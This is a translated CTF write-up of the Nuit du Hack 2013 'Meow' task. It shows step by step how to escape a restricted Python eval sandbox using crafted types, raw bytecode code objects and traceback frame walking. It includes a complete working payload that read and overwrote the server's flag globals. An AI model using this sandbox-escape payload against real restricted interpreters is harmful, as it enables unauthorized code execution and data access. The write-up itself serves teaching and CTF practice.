Sandbox Escape with Python

In anticipation of the start of the course β€œPython Developer. Professional ” prepared a translation, albeit not the newest, but from this no less interesting article. Happy reading!






Nuit du Hack CTF 2013 qualifying round took place yesterday. As usual, in a few posts I will tell you about interesting tasks and / or solutions of this CTF. If you'd like to know more, my w4kfu teammate should also post on his blog shortly.



TL; DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




One of the tasks, called "Meow" , offers us a remote restricted shell with Python, where most of the built-in modules are disabled:



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


Several functions were available, namely kitty(), which output the cat image in ASCII, and auth(password). I assumed we needed to bypass authentication and find a password. Unfortunately, our Python commands are passed in evalexpression mode, which means that we cannot use any operator: neither the assignment operator, nor print, nor function / class definitions, etc. The situation has become more complicated. We'll have to use Python magic (there will be a lot of it in this post, I promise).



At first I assumed I was authjust comparing the password to a constant string. In this case, I could use a custom object modified __eq__in such a way that it always returnsTrue... However, you cannot just take and create such an object. We cannot define our own classes through a class Foo, since we cannot modify an already existing object (without assignment). This is where the Python magic begins: we can directly instantiate a type object to create a class object, and then instantiate that class object. Here's how it's done:



type('MyClass', (), {'__eq__': lambda self: True})


However, we cannot use the type here, it is not defined in built-in modules. We can use a different trick: every Python object has an attribute __class__that gives us the type of the object. For example, β€˜β€™.__class__this str. But what's more interesting: str.__class__is the type. So we can use ''.__class__.__class__to create a new type.



Unfortunately, the function authdoesn't just compare our object to a string. She does many other operations with it: it splits it into 14 characters, takes the length through len()and calls it reducewith a strange lambda. Without code, it's hard to figure out how to make an object that behaves the way the function wants, and I don't like guessing. More magic needed!



Let's add code objects. In fact, functions in Python are also objects that consist of a code object and a capture of their global variables. The code object contains the bytecode of this function and the constant objects it refers to, some strings, names, and other metadata (number of arguments, number of local objects, stack size, mapping bytecode to line number). You can get the function code object with myfunc.func_code. This restrictedis prohibited in Python interpreter mode , so we cannot see the function code auth. However, we can create our own functions just like we created our own types!



You might ask, why use code objects to create functions when we already have a lambda? It's simple: lambdas cannot contain operators. And randomly generated functions can! For example, we can create a function that outputs its argument to stdout:



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


However, there is a small problem here: in order to get the type of the code object, you need to access the attribute func_code, which is limited. Fortunately, we can use a little more Python magic to find our type without accessing forbidden attributes.



In Python, a type object has an attribute __bases__that returns a list of all of its base classes. It also has a method __subclasses__that returns a list of all types inherited from it. If we use __bases__on a random type, we can reach the top of the object type hierarchy and then read the subclasses of object to get a list of all types defined in the interpreter:



>>> len(().__class__.__bases__[0].__subclasses__())
81


We can then use this list to find our types functionand code:



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


Now that we can build any function we want, what can we do? We can directly access unlimited inline files: the functions we create are still executed in the restricted-environment. We can get a non-isolated function: the function authcalls a method on the __len__object that we pass as a parameter. However, this is not enough to escape the sandbox: our global variables are still the same, and we cannot, for example, import a module. I was trying to look at all the classes that we could access with__subclasses__to see if we can get a link to a useful module through it, to no avail. Even getting a call to one of our created functions through the reactor was not enough. We could try to get a traceback object and use it to view the stack frames of callers, but the only easy way to get a traceback object is through modules inspector syswhich we cannot import. After I stumbled on this problem, I switched to others, slept a lot and woke up with the right solution!



In fact, there is another way to get a traceback-object in the Python standard library without using: context manager. They were a new feature in Python 2.6 that allows for a kind of object-oriented scoping in Python:



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


We can create an object context managerthat will use the traceback object passed in __exit__to display the global variables to the calling function that is outside the sandbox. For this we use combinations of all of our previous tricks. We create an anonymous type that defines __enter__both a simple lambda and __exit__a lambda that refers to what we want in the trace and passes it to our output lambda (remember we can't use operators):



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


We need to dig deeper! Now we need to use this one context manager(which we will call ctxin the following code snippets) in a function that will purposefully raise an error in a block with:



def f(self):
    with ctx:
        raise 42


Then we put fas __len__our created object, which we pass to the function auth:



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


Let's go back to the beginning of the article and remember about the "real" inline code. When run on the server, this causes the Python interpreter to run our function f, go through the created one context manager __exit__, which will access the global variables of our calling method, where there are two interesting values:



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


Two flags ?! It turns out that the same service was used for two back-to-back tasks. Double kill!



To have some more fun accessing global variables, we can do more than just read: we can change flags! Using the f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })flags will change until the next server restart. Apparently, the organizers did not plan this.



Anyway, I still don't know how we were supposed to solve this problem in a normal way, but I think that such a universal solution is a good way to introduce readers to the black magic of Python. Use it carefully, it is easy to force Python to do segmentation with the generated code objects (using the Python interpreter and running the x86 shellcode through the generated bytecode is left up to the reader). Thanks to the organizers of Nuit du Hack for a beautiful task.







Read more






All Articles